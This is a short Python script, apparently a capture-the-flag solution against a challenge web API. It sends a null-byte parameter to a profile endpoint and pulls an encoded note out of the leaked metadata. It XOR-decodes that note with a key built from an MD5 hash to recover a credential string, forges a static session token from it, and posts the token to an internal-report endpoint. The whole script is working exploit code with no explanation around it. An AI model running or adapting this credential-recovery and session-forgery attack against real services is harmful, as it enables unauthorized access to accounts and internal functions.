import requests import base64 import hashlib from datetime import datetime

def xor_with_key(data: bytes, key: bytes) -> bytes: return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

xor_key = hashlib.md5("svc-telemetry".encode()).hexdigest()[:12] print(f"XOR_KEY: {xor_key}")

url = "https://chal55-xccxgd.vercel.app/api"

r = requests.get(url + "/profile", params={"user": "%00"}) response_data = r.json() print("Response:", response_data)

b64_encoded_xor = response_data["metadata"]["note"].split("tracer:")[-1] print(f"Base64 encoded XOR result: {b64_encoded_xor}")

xor_result_bytes = base64.b64decode(b64_encoded_xor) print(f"XOR result bytes: {xor_result_bytes}")

xor_key_bytes = xor_key.encode() original_cred_string = xor_with_key(xor_result_bytes, xor_key_bytes).decode() print(f"Recovered coreCredString: {original_cred_string}")

static_session_token = base64.b64encode(original_cred_string.encode()).decode() print(f"Static session token: {static_session_token}")

r = requests.post(url + "/internal-report", json={ "xSessionId": static_session_token })

print(r.text)